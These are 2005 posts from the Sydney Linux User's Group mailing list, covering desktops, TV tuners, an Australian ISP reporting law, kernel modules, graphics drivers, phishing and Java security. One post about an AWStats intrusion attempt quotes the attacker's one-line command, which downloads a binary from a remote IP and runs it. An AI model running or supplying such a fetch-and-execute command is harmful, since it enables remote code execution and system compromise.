On Fri, 4 Feb 2005 20:25, James Gray wrote: > On Fri, 4 Feb 2005 08:06 pm, Michael Fox wrote: > > You should try doing dual monitors on OSX.. Talk about easy :) > > > > On Fri, 4 Feb 2005 19:52:56 +1100, James Gray <[EMAIL PROTECTED]> > > wrote: > > > Gotta admit it - I spent nearly a week getting my dual monitors > > > configured "just right" in Windows... boot into Linux, updated the > > > Nvidia driver, added 4 lines to XF86Config and VOILA! Who said Linux > > > was hard? > > > > > > Well, back to my wonderful (1/2 empty) bottle of Penfolds Koonunga Hill > > > 2000 hic! > > > > > > James > > Yah - I've heard a lot of good things about OSX. RAID is apparently a > snack too; some block made a RAID5 floppy array with 7 USB floppy drives!! > > Man - I gotta stop drinking so much then trying to souind untelligent! I've been working in a Mac only environment for 5 years now... I wish the Linux/KDE community takes more notice of what Apple has done with FreeBSD. Apple does make computing easy. Mind you they do make it easy for themselves with proprietry hardware. Well, I better get back to torturing myself with Linux on my laptop. Marek -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Linux rox...
Thanks Jeff, I have both installed. I find Gnome to be on the other extreme... a little lacking though admittedly far more polished, whereas KDE is more ad-hoc though vast in resources. The reason for sticking with KDE is Qt, which I quite like and plan to explore more. Marek Wawrzyczny On Sun, 6 Feb 2005 15:29, Jeff Waugh wrote: > > > > I've been working in a Mac only environment for 5 years now... I wish the > > Linux/KDE community takes more notice of what Apple has done with > > FreeBSD. > > (GNOME tends to pay more attention to sensible Apple stuff than KDE, if > you're interested.) > > - Jeff > > -- > GUADEC 2005: Stuttgart, Germany > http://2005.guadec.org/ -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Digital TV Tuner Cards On Linux?
My boss is trying to get this exact service working under FreeBSD (Linux cannot be more difficult) with varying degree of success. He was talking to the authors of the TV-tuner card driver directly, they have been of tremendous help. I do know he has managed to run Myth??? (I think) under X-server, got the TV-tuner card to run, change channels, etc. None of this was exceptionally smooth, but was not difficult either. I know the TIVO-like software he runs can get the TV listings for free-to-air channels off the net, as well as weather reports, news, etc. He was still struggling to get the IR to work, improve TV reception and the compression quality, etc... I can try and get more information if necessary. As the previous poster has said, be careful of what you buy, do your research before hand. See if you can get a good returns policy, because driver availability/quality on Linux can be a very tricky proposition. I would suggest coming up with a list of cards and checking the forums to see how helpful the authors of drivers for these cards are, because if you run into issues you will definedly want to have a card which has a very vibrant community following. Cheers, Marek Wawrzyczny On Thu, 10 Feb 2005 11:04, O Plameras wrote: > Shaun Butler wrote: > > Hi SLUGgers > > > > Has anyone had much luck installing and using digital TV tuner card > > under Linx? My VCR died the other day and this might be the opporunity > > I need to move to recording TV shows onto my computer directly > > > > Shaun > > Hi Shaun, > > Read the ff. info so very carefully before expending time and money > on this intended project. > > http://www.schlesinger.us/nf20031230.htm > > The endeavour is even more hazardous here in Australia. There is > no working 'tv_grab_au' from the official xmltv software up-to-now > AFAIK. You will discover this when you get to 'Zap2it' a tv > program listing site that does not provide you correctly with the list of > service providers here in Australia. By this time it will be too late as > you probably have bought the hardware and spent tremendous hours > following the HOWTO (http://www.mythtv.info; > http://wilsonet.com/mythtv/fcmyth.php). I have Fedora Core 2. ReHat > is the primary platform supported in this HOWTO. Also it is required > you have KDE instead of GNOME, which is excellent because I > am into Kolab Servers (http://kolab.org) for many customers. Incidentally, > I am gradually shifting all workstations and servers to KDE. > > To get a sense of the issues involve, check the postings here: > > http://www.dtvforum.info/index.php?showtopic=52&hl=#entry22169 > > But in the end, if learning specifically about linux kernel, device > drivers, compilation, installations, mysql, and lots of fun things about > linux is of paramount benefit to you, then, it is worth the time and money > to plunge into this project. But I for one would not do it for getting the > pleasure of > having a TIVO-like service. > > I have FusionHDTV DV3-T that I installed on my TEST server with > heaps of CPU power and memory and heaps of storage (over a terabyte) > that works off-and-on requiring lots of maintenance work. I've given up > on this since Dec, 2004 and hope to get back to it when time permits. > > If you simply wish to get the pleasure of digital tv recording, editing, > and controlling, then get commercial TIVO, at least for now. Find local movie times and trailers on Yahoo! Movies. http://au.movies.yahoo.com -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Stupidest law of the year candidate!
On Thu, 24 Feb 2005 10:15, Benno wrote: > On Thu Feb 24, 2005 at 10:08:33 +1100, DaZZa wrote: > >We may as well shut down the internet now. > > > >http://www.smh.com.au/news/Breaking/ISPs-forced-to-join-child-porn-crackdo > >wn/2005/02/23/1109046951674.html > > > > > > > >If you don't have one already, login with > > > >username: vanitas > >password: vain > > > > > > > >Basically, it makes Australian ISP's liable for $55000 fines if their > >service can be USED to access child pornography and they don't report it > >to the federal police. > > > >Furrfu! If I was running an ISP, I'd just report the entire internet and > >be done with it. *Any* internet connection can be used to access child > >porn if you know where to look. As abhorrent as I find the concept of > >child pornography, this just has to be the stupidest law of the year. You > >might as well fine Telstra or Optus because child pornographers can talk > >to each other, if they know the right number! > > If you read further it doesn't seem as bad. I think the article is probably > poorly written. Other new sources I've heard (JJJ radio), suggests that it > if they are made aware of a particular site carrying child-porn, and do not > restrict access to that. > > Of course, there is a bit of a problem here, how can they check it? Since > that is also illegal. And who would make them aware of the child porn? > Because then you would have had to access the porn in the first place. So > yeah, OK, it is stupid ;) > > Benno Perhaps the law should be amended to include: "All ISPs should employ masses of trained monkeys that scour the net in search of illegal sites, and add them to the list... and if monkeys are unavailable, replace them with blindfolded employees..." Seriously though, who are they kidding? It'll just force those fiends to use encrypted, password protected sites, it'll make them more difficult to find and weed out. Those knee jerk reactions are just plain stupid, especially when the policy makers have no understanding of the technologies involved. -- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Stupidest law of the year candidate!
On Thu, 24 Feb 2005 10:59, QuantumG wrote: > Well, I think the problem is that many of these sites are overseas so > the Australian police can't touch them. Of course, it really makes you > wonder why there isn't international treaties on this stuff. For > example, I can imagine that Australia would be in favour of a treaty > such that police officials could legally hack into and take down sites > like this. Of course, that's just a major slippery slope. I'm sure it > would be no-time before the copyright lobbists were calling for police > to use these powers to stop infringers. > > Trent It's actually not as bad... there are already international efforts to catch these types of people, I believe the relatively recent arrests in Australia were part of an international effort of agencies from Europe, Interpol, etc... I always am weary of governments restricting access (although this is a difficult one, because this particular content is plain sick). Still, this is a major undertaking to ask the ISPs of... perhaps the government should offer to setup and mantain a generally accessible database of such IP/URLs that the ISPs would be able to use? Why duplicate the effort over and over again? And I still don't think it will achieve anything, it'll force these people underground, more secretive, more weary and that will hamper any efforts to find and punish them. -- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Re: Stupidest law of the year candidate!
Hi Ron, I really hope you are kidding... :) On Thu, 24 Feb 2005 11:56, Rod Butcher wrote: > I think such illegal stuff together with copyright violation indicates > we have to face up to the regulation of the Internet like any other news > or communication media. A web or news hoster has the same status as > printing press, and somebody in Oz browsing illegal website content > hosted in xyzland is in pretty much the same position as somebody who > ordered naughty books through the mail years ago. > Hence, firstly, the onus will fall on hosting services to vet the > content of the sites they host to avoid risk of prosecution, secondly > commmunication channel will need vetting, thirdly the browser/newsreader > will need some sort of filter. > One way out I can envisage is requiring a compulsory rating to get a > website published, i.e. formalising the voluntary system already in > existence, having police regularly inspect the website for rating > abuse... the whole system as we know it could slow down to a crawl, and > lose its current anarchic status, leaving only the mass-media feelgood > crap on the new "legal" web : "What moronicity do you want to enhance > your download experience with today ?". > Rod -- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Stupidest law of the year candidate!
On Thu, 24 Feb 2005 14:47, Terry Collins wrote: > Marek Wawrzyczny wrote: > > It's actually not as bad... there are already international efforts to > > catch these types of people, I believe the relatively recent arrests in > > Australia were part of an international effort of agencies from Europe, > > Interpol, etc... > > No, nothing so wonderful. Sometimes constable plod just has to strike it > lucky and that was the case in the US. They found a list of "credit card > details" of people who had purchasesd from a site, then they just > informed other governments who raided the addresses connected with the > credit cards and found evidence to satisfy local courts. Perhaps, but I do remember reading that there is an effort to establish a more organized effort in the future... nonetheless... upon a closer inspection, the law proposes penalties for providers who have been aware of such activities and fail to inform law agencies... it does not talk about an active filtering role (unless I missed something?). In such a light, the legislation is actually acceptable. ISP btw are not the only ones, the responsibility extends individuals and body corporates... It raises another interesting issue... if you have a wireless "unsecured" network... you could be potentially liable too... -- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Stupidest law of the year candidate!
On Thu, 24 Feb 2005 15:17, Benno wrote: > On Thu Feb 24, 2005 at 15:15:03 +1100, Marek Wawrzyczny wrote: > >On Thu, 24 Feb 2005 14:47, Terry Collins wrote: > >> Marek Wawrzyczny wrote: > >> > It's actually not as bad... there are already international efforts to > >> > catch these types of people, I believe the relatively recent arrests > >> > in Australia were part of an international effort of agencies from > >> > Europe, Interpol, etc... > >> > >> No, nothing so wonderful. Sometimes constable plod just has to strike it > >> lucky and that was the case in the US. They found a list of "credit card > >> details" of people who had purchasesd from a site, then they just > >> informed other governments who raided the addresses connected with the > >> credit cards and found evidence to satisfy local courts. > > > >Perhaps, but I do remember reading that there is an effort to establish a > > more organized effort in the future... nonetheless... upon a closer > > inspection, the law proposes penalties for providers who have been aware > > of such activities and fail to inform law agencies... it does not talk > > about an active filtering role (unless I missed something?). > > There was a bit stating a fine for allowing people to access unsuitable > material. > > Benno I agree it's poorly written but: "Under the new laws, an ISP or ICH will face penalties of $11,000 for the individual and $55,000 for body corporates if they are made aware that their service can be used to access material that they have reasonable grounds to believe is child pornography or child abuse material and they do not refer details of that material to the AFP within a reasonable time." So yes, but only if they have been made aware and did nothing about it. -- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Stupidest law of the year candidate!
On Thu, 24 Feb 2005 15:50, Howard Lowndes wrote: > > I agree it's poorly written but: > > > > "Under the new laws, an ISP or ICH will face penalties of $11,000 for the > > individual and $55,000 for body corporates if they are made aware that > > their service can be used to access material that they have reasonable > > grounds to believe is child pornography or child abuse material and they > > do not refer details of that material to the AFP within a reasonable > > time." > > That covers just about every ISP. I cannot think of any ISP whose > service cannot be "used to access ...", so all you have to say is "Mr. > ISP, your service can be used to access...". It doesn't say anything > about _actual_ access, but the capability to access. > > Define "access". You right... that changes things... I should read these more carefully, doesn't help flicking at work... So this legislation is very dangerous to everyone! -- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Re: Weird login behaviour
On Mon, 28 Feb 2005 15:49, Jeff Waugh wrote: > > > > 1. In CONFIG_=y I am telling the kernel load the modules at boot time > > This is the bit you're confused about. When you set a kernel configuration > option to 'y' that means "build it in to the kernel" not "build it as a > module". A "module", in kernel lingo, very clearly means loadable objects, > not a particular configuration option. That's why we distinguish between > "y" (for "yes, build it in") and and "m" (for "build it as a module). When > you build something in to the kernel, the kernel doesn't load it - it's > already part of the kernel. > > - Jeff And to expand on that, there is no guarantee that a module will get loaded at boot time. Different Linux distributions manage module loading differently but there usually is some sort of module configuration file in the /etc/ folder. There are also hotplug daemons and such that you might want to investigate. A search on Google is highly recommended... -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Operating System
Hi Ray, When you talk about 32 Mb of memory, I presume you are talking about RAM? Or are you talking about hard/disk space? Could you post the full specs (ie, CPU, RAM, H/D)? Before I scare you with an overview of a typical Linux makeup, it's important to remember that you do not necesserily need to care about these finer details. A commercial distribution should install and configure the components below. Some distributions are easier, others far more difficult. RedHat Fedora (http://) would probably be a good start for you, but I am not sure if the system you are trying to install Linux on is good enough. I am sure other people can suggest other distributions here. And now for some trivia, (remember, if you pick a commercial distribution you will not really need to worry about this) a typical Linux installation consists of: The Linux kernel - this is the operating system - the heart of your system - responsible for all interaction between you (programs you run) and the hardware. A linux kernel provides a very basic graphical console but no desktop. See http://www.kernel.org The X server - this kind of is the desktop engine. The most active X server project currently is the XOrg project http://www.x.org A desktop system - such as KDE http://www.kde.org or Gnome http://www.gnome.org And then of course you have the programs you will want to run, such as OpenOffice, etc... On Thu, 3 Mar 2005 11:50, Ray McFadyen wrote: > Dear Sydney Linux, > I am a member of a small computer club and we have some computers which > need operating systems. The memory is 32MB so the installation must be > small. I cannot understand why most of the Linux systems need so much > memory. I have an old Win3.1 which runs Microsoft Word with Exel and > Powerpoint plus other programs and runs well with 4MB. > Is a Linux core the basic program which would allow small programs to > be installed? > I would expect a simple Java program could make a good desktop. Or even > a HTML page could be used. The impression is that all the Linux > programs are directed towards business application. > And are the discs available at a City store. Lots of big programs such > as Redhat. > Regards > Ray McFadyen > > > Find local movie times and trailers on Yahoo! Movies. > http://au.movies.yahoo.com -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Video card performance (WAS: Memory Usage)
Hi Luke, Out of interest... I've long given up trying to get my video card work properly... I have a Toshiba Tecra S1, Centrino 1.6 GHz, Radeon M(obility) 9000 but running glxgears never goes much beyond 800 fps... I'm using XOrg 6.8.2 (on Gentoo), with the xorg-x11 drivers. What x-server/drivers are you using? On Thu, 10 Mar 2005 10:59, Luke Skywalker wrote: > Well if you want to do any tests...name them, and ill run them. > > My specs are. > > Dell Inspiron Notebook 5100 > P4 2.66 > 512MB Ram > 40 gig hdd + 200 gig external USB2 <...> > 32MB Mobility Radeon 7000 (i think) > > I'm not happy though...i had GLXGears running up at 1350 > consistently...and i dont know what i have changed in my graphics > options...but now i only get about 730-740, thats a huge decrease! > > Luke -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Video card performance (WAS: Memory Usage)
Thanks Luke, I followed the link, there's little on that site that I'm not doing now, in fact only one option in the xorg.conf file is what differs. I reran glxgears no improvement (in fact the rates dropped to 5 fps though this was fixed by a restart). Strangely enough... I've realized that if the glxgears window becomes invisible (ie is covered by another window) I get rates of 1+ fps. I wonder if perhaps another extension is interfering with my setup. On Thu, 10 Mar 2005 12:18, Luke Skywalker wrote: > Oh, and also im running the latest > gentoo-dev-sources kernel > > > Luke > > Marek Wawrzyczny wrote: > > Hi Luke, > > > > Out of interest... I've long given up trying to get my video card work > > properly... > > I have a Toshiba Tecra S1, Centrino 1.6 GHz, Radeon M(obility) 9000 but > > running glxgears never goes much beyond 800 fps... > > > > I'm using XOrg 6.8.2 (on Gentoo), with the xorg-x11 drivers. > > > > What x-server/drivers are you using? > > > > On Thu, 10 Mar 2005 10:59, Luke Skywalker wrote: > >>Well if you want to do any tests...name them, and ill run them. > >> > >>My specs are. > >> > >>Dell Inspiron Notebook 5100 > >>P4 2.66 > >>512MB Ram > >>40 gig hdd + 200 gig external USB2 > > > > <...> > > > >>32MB Mobility Radeon 7000 (i think) > >> > >>I'm not happy though...i had GLXGears running up at 1350 > >>consistently...and i dont know what i have changed in my graphics > >>options...but now i only get about 730-740, thats a huge decrease! > >> > >>Luke -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] ISP recomendation
On Wed, 23 Mar 2005 17:53, David wrote: > > On Wed, 23 Mar 2005 14:38:07 +1100, Julio Cesar Ody <[EMAIL PROTECTED]> > > > > wrote: > >> Hi list, > >> > >> the company where I work now, for reasons beyond mention, is willing > >> to change it's network provider. Since we work mostly with video > >> conference software, we do need a reliable low-latency and high > >> bandwidth connection. > >> Which ISPs based in Sydney would you guys recommend for that? We're > >> interested in a "technical friendly" provider whose techies know what > >> they're doing, preferrably constituted by geeks. > >> Cheers. Thanks in advance. Perhaps you might want to try asking this at the forums at Whirlpool? Of course if you're looking for a Linux/Unix friendly ISP, don't forget to mention that... The BroadbandChoice section is really worth looking at. http://www.whirlpool.net.au Expect noise, but going through the forums can sometimes yield useful info. -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
[SLUG] www.kde-apps.org hijacked?
Hi all, Is it just me or is www.kde-apps.org suffering form a DOS? If so that would be unusual for a Linux site... here's what dig produces, strange since I thought that kde-apps.org was hosted by trolltech: ; <<>> DiG 9.2.5 <<>> www.kde-apps.org ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 204 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 6, ADDITIONAL: 6 ;; QUESTION SECTION: ;www.kde-apps.org. IN A ;; ANSWER SECTION: www.kde-apps.org. 4685IN A 66.111.55.80 ;; AUTHORITY SECTION: org.95921 IN NS TLD1.ULTRADNS.NET. org.95921 IN NS TLD2.ULTRADNS.NET. org.95921 IN NS TLD3.ULTRADNS.org. org.95921 IN NS TLD4.ULTRADNS.org. org.95921 IN NS TLD5.ULTRADNS.INFO. org.95921 IN NS TLD6.ULTRADNS.CO.UK. ;; ADDITIONAL SECTION: TLD1.ULTRADNS.NET. 97731 IN A 204.74.112.1 TLD2.ULTRADNS.NET. 97731 IN A 204.74.113.1 TLD3.ULTRADNS.org. 142019 IN A 199.7.66.1 TLD4.ULTRADNS.org. 124255 IN A 199.7.67.1 TLD5.ULTRADNS.INFO. 123614 IN A 192.100.59.11 TLD6.ULTRADNS.CO.UK.98876 IN A 198.133.199.11 ;; Query time: 19 msec ;; SERVER: 203.29.62.129#53(203.29.62.129) ;; WHEN: Tue Mar 29 17:14:24 2005 ;; MSG SIZE rcvd: 308 -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] OT -Reasons not to use Windoze or Net Cafes
Ask :) In NZ (Christchurch) I saw one cafe that catered for exactly that (bringing/plugging your own lappie into their network), but most internet cafes around appear to run some sort of custom software that does costing on the client machine... so you probably won't be able to use that... Marek On Tue, 19 Apr 2005 15:46, Luke Skywalker wrote: > I'd tend to feel very worried if i was using a net cafe for things like > net banking...for getting the latest footy scores etc. well I guess it > doesn't matter. > > I am travelling soon, do you know if any net cafes allow you to plug a > laptop into their network and use the internet? > > Who would ever need this: > http://support.microsoft.com/default.aspx?scid=kb;en-us;314458 ?? > > Luke > > Bill wrote: > > check out http://mdn.mainichi.co.jp/news/20050418p2a00m0dm009000c.html > > > > Made me think of Tokyo's Narita airport ( I was there a week ago) where > > Yahoo have free net access, providing you write your name and passport > > details in a register ( which I didn't see them check). Signs advise > > that if you access a site that requires a password that you should "log > > off" the site properly./ that you shouldn't download anything/that you > > shouldn't change the PC's config - All for "Security Purposes" - PCs > > used Windows obviously. Needless to say I didn't avail myself of their > > kind offer. > > > > > > Bill -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - Find local movie times and trailers on Yahoo! Movies. http://au.movies.yahoo.com -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Re: Mobile database solutions
If Java is your forte, there are some Java SQL databases out there... there's one in SourceForge, but sorry, cannot remember the name. They usually claim comparable performance (to C based SQL db's). There's also SQLite for C/C++. On Fri, 22 Apr 2005 12:03, Clinton wrote: > Thanks Matt > > Issue I have at the moment is being able to update the mobile devices with > the data source. > > For example. > > Database at head office \\/ remote office has mobile handheld and > needs to be updated ove the internet. (IP) based sych. > > > > -Original Message- > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf > Of Matthew Palmer > Sent: Friday, 22 April 2005 11:52 AM > To: slug@slug.org.au > Subject: [SLUG] Re: Mobile database solutions > > [Followups to slug-chat] > > On Thu, Apr 21, 2005 at 07:17:44PM +1000, Clinton wrote: > > I was just wondering if anyone out there in the Linux world has come > > across > > > a solution that would allow for a solution comparable with Ms SQL Server > > SE > > > (this is SQL for Pocket Pc devices). > > Comparable? Do you really need all of the features of something like SQL > server? (I have no idea what SQL Server SE actually is, or how it > compares, but SQL Server proper is fscking complex). > > For basic SQL data storage, use SQLite. You can quite possibly squidge > either of MySQL or PostgreSQL into your average CE-based device. > > > I am attempting to find a solution that is far more cost effective than > > the > > > M$ solution, any help would be great. > > Well, that would be more-or-less anything, really... > > - Matt -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Exporting FS over USB
On Wed, 30 Mar 2005 19:44, Michael Fox wrote: > On Wed, 30 Mar 2005 11:05:47 +1000, Simon Males <[EMAIL PROTECTED]> wrote: > > Practically, I am thinking more along the lines of taking my Linux > > laptop to any windows machine, plugging it in and being recognised as a > > simply flash/external hard drive type device. > > Is that even possible. > > This sounds like how Apple do Target Disk Mode (boot an apple machine > using apple + t key I think from memory) then firewire plug that > machine into another and bang the machine in target disk mode acts as > firewire drive to the other machine its hooked upto. Very neat trick I > think. I have not looked in depth into this, but perhaps you can do this with "USB Gadget" modules in the kernel (2.6.11)? I would not have thought that the USB controllers are capable of acting as peripheral devices though. Look in: Device drivers -> USB Support -> USB Gadget Support Taken from xconfig: "Support for USB Gadgets (USB_GADGET) USB is a master/slave protocol, organized with one master host (such as a PC) controlling up to 127 peripheral devices. The USB hardware is asymmetric, which makes it easier to set up: you can't connect a "to-the-host" connector to a peripheral. Linux can run in the host, or in the peripheral. In both cases you need a low level bus controller driver, and some software talking to it. Peripheral controllers are often discrete silicon, or are integrated with the CPU in a microcontroller. The more familiar host side controllers have names like like "EHCI", "OHCI", or "UHCI", and are usually integrated into southbridges on PC motherboards. Enable this configuration option if you want to run Linux inside a USB peripheral device. Configure one hardware driver for your peripheral/device side bus controller, and a "gadget driver" for your peripheral protocol. (If you use modular gadget drivers, you may configure more than one.) If in doubt, say "N" and don't enable these drivers; most people don't have this kind of hardware (except maybe inside Linux PDAs). For more information, see <http://www.linux-usb.org/gadget> and the kernel DocBook documentation for this API." -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] not so good ouchstats
On Sun, 22 May 2005 13:04, Rob Sharp wrote: > On Sun, 2005-05-22 at 12:25 +0930, Ryan Verner wrote: > > On Sun, 2005-05-22 at 12:49 +1000, Rob Sharp wrote: > > > Ouch! They'd tried to run: > > > > > > cd /tmp;rm -f /tmp/c;wget 128.xxx.xxx.xxx/c;chmod +x c;./c > > > 80.xxx.xxx.xxx 80 > > > > > > Voytek, how did you notice you'd been exploited? > > > > How old is the AWStats that you are running? I thought these remote > > exploit bugs were squashed ages ago. > > > > R > > Advanced Web Statistics 6.4 (build 1.810), which I think is the latest. > I'm pretty sure the exploit failed, chkrootkit came back with nothing, > and nothing unusual is running. I'm probably just being a bit > paranoid... > > Cheers, > Rob. Spoke with the admin guys at work, this bug was "introduced" in 6.1, and is AFAIK fixed in 6.3, definitely in 6.4. -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Upgrading Firefox on Debian Woody
On Thu, 2 Jun 2005 10:57, Terry Collins wrote: > Have downloads the 1.0.4 upgrade and attempted to install it. > First problem is that it requires libstdc++.so.5. and Woody only has up > to V3. > > Does anyone know of a way around this? Missing libraries sometimes happen with Gentoo too... I often symlink my latest version to whatever is required. Most of the time it seems to work fine (given there are no drastic used API changes between the two library versions). -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - Send instant messages to your online friends http://au.messenger.yahoo.com -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] java security in Linux
On Mon, 6 Jun 2005 11:30, Russell Davie wrote: > Hi > Please give your advice on security of Java in Linux. > > scenario: > I have just received a email from ANZ bank (which I don't bank with, so its > likely to be phishing) that is linked to a bunch of Java scripts. This is > shown in Mozilla-Thunderbird when I move the cursor over the link. I got one too... but, there are no links to Java applets, do you mean javascript? Javascript is different and unrelated to Java. Those phishing emails come up often, but seems that they're targeting aussie banks again. These emails seems to flare up every now and then. In most cases they take you to a fake site that exploits (usually an IE) bug that allows the author to obscure the real origin of the site. They then ask you for personal information. Since the bank will never do that, delete the email straightaway. I have come across one site that had a Java applet that would try and overwrite a Windows DLL (the applet never ran), but typically they are not that sophisticated. The Security Manager should prevent that from happening anyway. Applets should run inside a sandbox and, by design, the JVM does not allow them to overwrite file outside the user directory (I believe). <...> > > regards > > Russell -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - Send instant messages to your online friends http://au.messenger.yahoo.com -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] java security in Linux
On Mon, 6 Jun 2005 12:36, Russell Davie wrote: > Marek Wawrzyczny wrote: > > On Mon, 6 Jun 2005 11:30, Russell Davie wrote: > >>Hi > >>Please give your advice on security of Java in Linux. > >> > >>scenario: > >>I have just received a email from ANZ bank (which I don't bank with, so > >> its likely to be phishing) that is linked to a bunch of Java scripts. > >> This is shown in Mozilla-Thunderbird when I move the cursor over the > >> link. > > > > I got one too... but, there are no links to Java applets, do you mean > > javascript? Javascript is different and unrelated to Java. > > ok, yes > the line is to javascripts > > > Those phishing emails come up often, but seems that they're targeting > > aussie banks again. These emails seems to flare up every now and then. In > > most cases they take you to a fake site that exploits (usually an IE) bug > > that allows the author to obscure the real origin of the site. > > I have firefox running spoofstick, and this says the origin of the page. > > They then ask you for > > > personal information. Since the bank will never do that, delete the email > > straightaway. > > other users on this machine may not be so careful. > > > I have come across one site that had a Java applet that would try and > > overwrite a Windows DLL (the applet never ran), but typically they are > > not that sophisticated. The Security Manager should prevent that from > > happening anyway. Applets should run inside a sandbox and, by design, the > > JVM does not allow them to overwrite file outside the user directory (I > > believe). > > this is what I would like to be clear about > Apart from spamfilters, is reliance on JVM design enough? (apart from > continually reminding the users) Hmmm, let's put it this way, should be enough. But is anyone going to guarantee that at some point, some version of Sun's or someone else's JVM won't have a security flaw? Even then, on Linux, the exploit would have to run with su privileges to gain access to any important system files... no I don't think there is anything to fear about. Sun's and Java's reputation relies on the JVM model being secure. -- --- Marek Wawrzyczny - "Terrorism is the war of the poor, and, war is terrorism of the rich." - Peter Ustinov - - Send instant messages to your online friends http://au.messenger.yahoo.com -- SLUG - Sydney Linux User's Group Mailing List - http://slug.org.au/ Subscription info and FAQs: http://slug.org.au/faq/mailinglists.html
Re: [SLUG] Low - mid level graphic card recommendations
Yes, it is strange. I have the Radeon M9000 (mobility) series, and while the drivers are still in development my machine is fairly stable... unless I do something stupid and upgrade to the latest and greatest XOrg series (running 6.8.2-r2 fine)... Mind you, being a laptop it ain't on for more than 20 hours at a time, at most. I use the kernel open source drivers and find no problems with the desktop. 3D support in games is another thing, but then... I don't play games these days... On Mon, 27 Jun 2005 17:16, Matt Moor wrote: > That's certainly out of the norm, at least from my experience (with a > couple of boxes). Before I the motherboard died, I was running an athlon > machine with a Geforce2 MX 24/7 for 2 years. I was rebooting every 2-3 > months (usually for kernel or hardware upgrades), but iirc, never had X > or the box crash on me. > > Perhaps it's something funky about your work machine? Have you tried the > non-proprietary drivers? (If you can) > > - Matt > > Erik de Castro Lopo wrote: > >Harald Ashburner wrote: > >>Assertion 1: There is no decent open source drivers for 3D video cards > > > >Unfortunately, this definitely does seem to be true. > > > >My box at work has the binary Nvidia drivers and about once a fortnight > >or so, X dies, restarts and provides me with GDM login screen. For someone > >who keeps half a dozen windows open with what I'm working on, this is > >a royal PITA. > > > 